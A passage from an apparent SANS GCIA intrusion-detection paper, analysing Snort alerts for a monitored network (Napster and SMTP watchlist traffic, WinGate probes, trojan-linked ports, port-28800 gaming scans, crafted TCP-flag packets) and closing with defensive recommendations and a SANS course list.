17:30, 18:25, and again at 13:35, 20:22 and 23:30. 260 alerts also from the same network at 212.179.58.193 all came at about 12:23 to only MY.NET.224.34 port 6688. 272 alerts were made by 212.179.47.83 all going to MY.NET.204.22 port 6699 at around 10:15 through 11:02. 152 alerts came from 212.179.40.132 communications with MY.NET.225.186 port 6688. Fifteen alerts were generated by 212.179.41.220's communication with MY.NET.206.94 port 6699. Eight more were from 159.226 network, with six being from 159.226.114.1 communicating with MY.NET.6.35 and 6.34 on port 25 (SMTP), presumably using it for electronic mail purposes, but should be investigated further at the host. 159.226.x.x addresses are from Institute of Computing Technology Chinese Academy of Sciences, and therefore most likely are not attempting access for supportive reasons. **Recommend block 159.226.x.x. network block**. The huge amount of communication between 212.179.79.2 and MY.NET.97.30, should be watched. Communications to port 6699, and presumably to port 6688 fro 212.179.x.x addresses appear to be NAPSTER related, and thus local policy on copyright requirements of MP3s would apply, though in the interim, the courts have pretty much closed NAPSTER down. 212.179.28.66 was also heavily in communication with MY.NET.211.74 on Feb 11th. 212.179.42.21 appears to be in a similar pattern and coming from port 6699, NAPSTER. This is all very likely MP3-trading traffic.

Most Feb 11 traffic is for port 25 (SMTP). There were a total of 5,817 Watchlist alerts on this day. 5,362 of them were all attributed to 159.226.81.1 with communication to MY.NET.6.47, again mostly to port 25. There was also an alert from 159.226.120.19 on that same network. Another 321 were created by source 212.179.42.21, coming from port 6699 to MY.NET.222.94, ports 2609 and 2610. There were 133 alerts generated by 212.179.28.66 in communication with MY.NET.211.74, port 6346 in three minutes.

WinGate 1080 Attempt: This alert is a protective measure. As described by the software vendor at wingate.deerfield.com, Wingate "Allows networked computers to *simultaneously* share an Internet connection. It is further advertised to serve as a firewall, prohibiting intruders from accessing your network". Computers searching for port 1080 may be attempting unauthorized remote access through the WinHole or BackGate trojanized version of the proxy software, further described in http://www.simovits.com/trojans/tr_data/y1468.html. In addition, there is a overflow vulnerability for some versions of WinGate, identified at http://www.securityfocus.com/bid/509.html, and based on eEye Security Advisory AD02221999 released February 22 1999, which states that "WinGate's Winsock redirector service is susceptible to a buffer overflow vulnerability that will crash all WinGate services". Recommendation is to ensure that all MY.NET computers are free of WinGate software; however, if there is a need for this, than affected computers should be reviewed to ensure that there are no trojanized versions and that the version used is at least version 4.1 to mitigate the overflow vulnerability. Particularly since many of the attacking systems are from China. The vulnerability of this type of attack can be noted in the correlation located at http://www.incidents.org/archives/intrusions/msg00898.html.

Other Issues:

February 9th:

Port 666 is know for Attack FTP, Back Construction, BLA trojan, Cain & Abel, NokNok, Satans Back Door - SBD, ServU, Shadow Phyre, th3r1pp3rz (= Therippers) attacks. There were lots of UDP connects here. Seven connects from MY.NET.201.98 at late night from 21:25 to 23:39 to hosts on 132.206.x.x. (Appears to be Class B). More came from MY.NET: 206.78, 206.170, 206.14, 204.90, 203.202, and 203.126. Possibly DHCP system with user logging in and out, or a group of user on the same net. There were 13 connects from MY.NET.206.78 to hosts on 63.98.159.x and 132.206.83.x. Nine connects around 12:00 to 1:00 p.m1. from MY.NET.208.202 to 63.98.159.190 and hosts in 132.206.x.x. range.

Port 1024, known for Jade, Latinus, and NetSpy, had 23 UDP connections from MY.NET.150.133 and 143. Thirteen from MY.NET.217.58 all came from Port 13139, which coincidentally was the origin port for the same packet form MY.NET.211.50 at 13:19 and from MY.NET.212.158 at 2:16. While it does appear a scripted scan, 212.158 also hit did this port from 2 other ports.

Port 1025 (UDP) - Remote Storm. MY.NET.150.133 and .150.41 hit that port with UDP packets 111 times to hosts 195.174.9.212, 151.15.132.164, 212.205.230.16, and 63.26.3.166.

Source port 28800 appears very popular on the MY.NET.150 sub-network with UDP scans of 1045 form one host address and 1046 from another, and a couple at 1048 from another. Slow and steady scan, but the identifying factor seems to be the source port. Out of 60,95 logged events, 21,565, roughly a third, are originating from MY.NET.150.x subnet from port 28800, scanning most ports starting at 1024 on various hosts. Mostly very early in the morning or late at night. Port 28800 is used for Internet gaming. For correlation, GIAC GCIA papers using data from the November 25, 2000 and January 9, 2001, such as Fred Portenoy's GCIA paper, identified similar probable 28800 gaming. Gaming inbound and outbound MSN Game Zone 28800 – 28912. (sources - http://www.tinysoftware.com/manual/v4.0r/471.htm; http://www.practicallynetworked.com/sharing/app_port_list.htm).

There were quite a few invalid TCP flag conditions, mostly inbound to MY.NET from various hosts, including one with all flags and reserved bits set. Primary originations came from the 24.x.x.x Class A and 141.x.x.x. Class A address space, in particular 141.30.228.x addresses were culprits some with TCP reserved flags set.

MY.NET.214.14 was sending out multiple packets in very quick succession to destination port 6346 for different addresses.

Out Of Specification (OOS) Files. The OOS files provided a lot of interestingly frightening information. Although the OOS information relating to 194.159.251.11 did not provide any alerts, the box is a sampling of the OOS files generated from the multiple crafted packets sent, TCP flags "lit up like a Christmas Tree".

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/11-02:31:22.001865 194.159.251.11:30973 -> MY.NET.98.43:20
TCP TTL:49 TOS:0x0 ID:55820  DF
21*FRPAU Seq: 0x78FD0014   Ack: 0x78FD0014   Win: 0x14
TCP Options => EOL EOL EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/11-02:35:22.643749 194.159.255.135:30974 -> MY.NET.98.43:33324
TCP TTL:242 TOS:0x10 ID:38897  DF
21S*RPAU Seq: 0x78FE822C   Ack: 0x78FE822C   Win: 0x822C
78 FE 82 2C 78 FE                              x..,x.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/11-02:35:32.441336 194.159.255.135:30973 -> MY.NET.98.43:33324
TCP TTL:242 TOS:0x10 ID:38912  DF
21*FRPAU Seq: 0x78FD822C   Ack: 0x78FD822C   Win: 0x822C
78 FD 82 2C 78 FD                              x..,x.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/11-02:36:05.057798 194.159.255.135:30975 -> MY.NET.98.43:16940
TCP TTL:242 TOS:0x10 ID:49648  DF
21SFRPAU Seq: 0x78FF422C   Ack: 0x78FF422C   Win: 0x422C
78 FF 42 2C 78 FF                              x.B,x.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/11-02:36:05.058290 194.159.255.135:30970 -> MY.NET.98.43:33324
TCP TTL:242 TOS:0x10 ID:49649  DF
21S**PAU Seq: 0x78FA822C   Ack: 0x78FA822C   Win: 0x822C
78 FA 82 2C 78 FA                              x..,x.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/11-02:36:58.049684 194.159.255.135:30969 -> MY.NET.98.43:49708
TCP TTL:242 TOS:0x10 ID:49688  DF
21*F*PAU Seq: 0x78F9C22C   Ack: 0x78F9C22C   Win: 0xC22C
78 F9 C2 2C 78 F9                              x..,x.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/11-02:37:33.938350 194.159.255.135:30970 -> MY.NET.98.43:32788
TCP TTL:242 TOS:0x10 ID:49731  DF
21S**PAU Seq: 0x78FA8014   Ack: 0x78FA8014   Win: 0x8014
78 FA 80 14 78 FA                              x...x.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/11-02:39:44.223759 194.159.255.135:30973 -> MY.NET.98.43:49204
TCP TTL:242 TOS:0x10 ID:59776  DF
21*FRPAU Seq: 0x78FDC034   Ack: 0x78FDC034   Win: 0xC034
78 FD C0 34 78 FD                              x..4x.
```

RECOMMENDATIONS:

- Continually train personnel with not only formal classes, but awareness-reinforcing advertisements of major training issues such as strong firewalls and maintaining current anti-virus signatures.

- Consider centrally managing anti-virus updates, as can be performed through Norton Anti-Virus Corporate Edition, thereby pushing updates as soon as they are available to all workstations.

- Subscribe to mail-groups from CERTs, SecurityFocus, and vendors to be aware of patches and apply them are applied as soon as they are advertised, to avoid such problems as CodeRed Worm.

- Use Personal Firewalls on workstations. BlackICE, Zone Labs and Tiny Software are only a few of the available choices.

- Ensure that unnecessary services are not running on host systems.

- Use a stateful perimeter firewall to protect the network. Additionally, Trend Micro and others have anti-virus software to apply to Firewalls to scan incoming files for malicious software.

- Develop local MY.NET policy for MP3 downloads and Internet Gaming.

Last Updated: September 24th, 2017

Upcoming Training

SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
Community SANS Ottawa SEC503	Ottawa, ON	Oct 16, 2017 - Oct 21, 2017	Community SANS
SANS Berlin 2017	Berlin, Germany	Oct 23, 2017 - Oct 28, 2017	Live Event
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SANS Paris November 2017	Paris, France	Nov 13, 2017 - Nov 18, 2017	Live Event
Community SANS Pensacola SEC503	Pensacola, FL	Nov 27, 2017 - Dec 02, 2017	Community SANS
SIEM & Tactical Analytics Summit & Training	Scottsdale, AZ	Nov 28, 2017 - Dec 05, 2017	Live Event
SANS Munich December 2017	Munich, Germany	Dec 04, 2017 - Dec 09, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS Security East 2018	New Orleans, LA	Jan 08, 2018 - Jan 13, 2018	Live Event
SANS Las Vegas 2018	Las Vegas, NV	Jan 28, 2018 - Feb 02, 2018	Live Event
SANS London February 2018	London, United Kingdom	Feb 05, 2018 - Feb 10, 2018	Live Event
SANS Dallas 2018	Dallas, TX	Feb 19, 2018 - Feb 24, 2018	Live Event
SANS Northern VA Spring - Tysons 2018	Tysons, VA	Mar 17, 2018 - Mar 24, 2018	Live Event
SANS Secure Canberra 2018	Canberra, Australia	Mar 19, 2018 - Mar 24, 2018	Live Event
SANS 2018	Orlando, FL	Apr 03, 2018 - Apr 10, 2018	Live Event
SANS Baltimore Spring 2018	Baltimore, MD	Apr 21, 2018 - Apr 28, 2018	Live Event
SANS OnDemand	Online	Anytime	Self Paced
SANS SelfStudy	Books & MP3s Only	Anytime	Self Paced